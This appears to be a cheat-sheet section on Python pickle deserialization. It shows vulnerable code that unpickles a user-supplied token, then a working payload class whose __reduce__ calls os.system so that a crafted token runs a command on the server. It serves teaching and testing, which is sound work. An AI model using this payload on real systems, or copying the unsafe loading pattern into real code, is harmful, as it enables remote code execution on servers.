Python Deserialization

Pickle

The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object. :warning: `import cPickle` will only work on Python 2

```
import cPickle
from base64 import b64encode, b64decode

class User:
    def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank     = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)
```

The vulnerability is introduced when a token is loaded from an user input.

```
new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)
```

Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.

> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

```
import cPickle, os
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)
```

References

- Exploiting misuse of Python's "pickle" - Mar 20, 2011
- Python Pickle Injection - Apr 30, 2017